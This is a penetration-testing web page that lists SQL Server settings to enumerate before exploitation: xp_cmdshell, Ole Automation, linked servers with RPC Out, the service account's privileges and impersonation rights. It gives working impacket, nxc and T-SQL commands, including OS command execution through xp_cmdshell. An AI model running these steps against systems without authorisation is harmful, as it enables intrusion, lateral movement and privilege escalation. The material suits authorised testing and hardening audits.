# MSSQL Dangerous Configuration Checks

- **URL:** https://hackindex.io/services/mssql/vulnerability-discovery/mssql-dangerous-configuration-checks
- **Path:** MSSQL > Vulnerability Discovery
- **Up:** [Vulnerability Discovery](https://hackindex.io/services/mssql/vulnerability-discovery.md)
- **Published:** 2026-03-26
- **Updated:** 2026-03-26

Several SQL Server features are disabled by default but are commonly re-enabled by DBAs and application teams. Each one represents a distinct exploitation path when accessible to the current login. Confirming which are active before attempting exploitation avoids unnecessary noise and tightens the attack plan.

Configuration items to check on every MSSQL instance:

- xp_cmdshell enabled (direct OS command execution)
- Ole Automation Procedures enabled (COM-based command execution)
- Linked servers with RPC Out (lateral movement to other instances)
- Service account running as SYSTEM or Domain Admin
- IMPERSONATE permissions on sysadmin logins

All checks here require an authenticated SQL session. Use impacket-mssqlclient to run these queries interactively.

## MSSQL dangerous configuration checks: privilege context

Confirm your privilege context before checking configurations. Some settings are only visible to sysadmin:

```bash
impacket-mssqlclient $DOMAIN/$USER:$PASSWORD@$TARGET_IP -windows-auth
```

```sql
SELECT SYSTEM_USER; SELECT IS_SRVROLEMEMBER('sysadmin') AS is_sysadmin; SELECT IS_SRVROLEMEMBER('public') AS is_public;
# SYSTEM_USER: CORP\sqlsvc
# is_sysadmin: 1
# is_public:   1
```

is_sysadmin returning 1 means all configuration checks will succeed and all exploitation paths are available. If it returns 0, configuration reads may still work depending on the public role permissions, but write operations like enabling xp_cmdshell will fail without impersonation or privilege escalation first.

## xp_cmdshell Status

xp_cmdshell executes OS commands as the SQL Server service account. When enabled, it is a direct OS execution primitive. Check whether it is currently enabled:

```sql
SELECT name, value, value_in_use FROM sys.configurations WHERE name = 'xp_cmdshell';
# name          value  value_in_use
# xp_cmdshell   1      1
```

value_in_use of 1 means xp_cmdshell is active right now and usable without any configuration changes. value of 1 but value_in_use of 0 means it is configured on but requires a RECONFIGURE to activate. Both cases lead to the xp_cmdshell exploitation page.

## Ole Automation Procedures

Ole Automation allows creating COM objects from T-SQL, including WScript.Shell for command execution and MSXML2.ServerXMLHTTP for outbound HTTP. It is an alternative OS execution path when xp_cmdshell is disabled:

```sql
SELECT name, value, value_in_use FROM sys.configurations WHERE name = 'Ole Automation Procedures';
# name                        value  value_in_use
# Ole Automation Procedures   1      1
```

Ole Automation enabled alongside or instead of xp_cmdshell gives equivalent OS access through a different T-SQL path. Flag both as active when found.

## Linked Servers with RPC

Linked servers allow queries to be forwarded to other SQL Server instances. When RPC Out is enabled on a linked server, stored procedures including xp_cmdshell can be executed on the remote instance. This is a lateral movement path even when local privileges are limited:

```sql
SELECT name, product, provider, data_source, is_rpc_out_enabled, is_data_access_enabled FROM sys.servers WHERE is_linked = 1;
# name         product    is_rpc_out_enabled  is_data_access_enabled
# SQL-PROD-02  SQL Server 1                   1
```

Any linked server with is_rpc_out_enabled = 1 is a pivot candidate. The security context under which the linked server connection runs determines what privileges you land with on the remote instance. Check the linked server login mappings:

```sql
EXEC sp_helplinkedsrvlogin;
```

A self-mapping entry or a mapping to a high-privilege account on the remote server means the linked server pivot may land you with elevated privileges on the target instance.

## Service Account Privileges

SQL Server service accounts running as NT AUTHORITY\SYSTEM, a Domain Admin, or a highly privileged domain service account give any sysadmin-level SQL access OS-level impact immediately. Confirm what the service account is:

```sql
EXEC xp_cmdshell 'whoami';
# nt authority\system
```

NT AUTHORITY\SYSTEM output means OS commands execute at SYSTEM level. Any command execution via xp_cmdshell or Ole Automation gives full host compromise without a separate privilege escalation step.

## Impersonation Rights

EXECUTE AS LOGIN allows one login to impersonate another. When a low-privilege login can impersonate sa or a sysadmin, it is a direct privilege escalation path. Check which logins the current user can impersonate:

```sql
SELECT distinct b.name FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = 'IMPERSONATE';
# name
# sa
# Admin
```

Any sysadmin account appearing in this output means impersonation-based privilege escalation is available. The exploitation path is covered in the MSSQL impersonation page.

## Bulk Quick Check with nxc

nxc can check for xp_cmdshell availability in a single command without opening an interactive session:

```bash
nxc mssql $TARGET_IP -u $USER -p $PASSWORD -d $DOMAIN --get-output-tries 5 -x 'SELECT name, value_in_use FROM sys.configurations WHERE name IN (''xp_cmdshell'',''Ole Automation Procedures'')'
```

## References

- [Microsoft: sys.configurations](https://learn.microsoft.com/en-us/sql/relational-databases/system-catalog-views/sys-configurations-transact-sql) - Configuration values including xp_cmdshell and Ole Automation Procedures
- [Microsoft: sys.servers](https://learn.microsoft.com/en-us/sql/relational-databases/system-catalog-views/sys-servers-transact-sql) - Linked server fields including is_rpc_out_enabled and is_data_access_enabled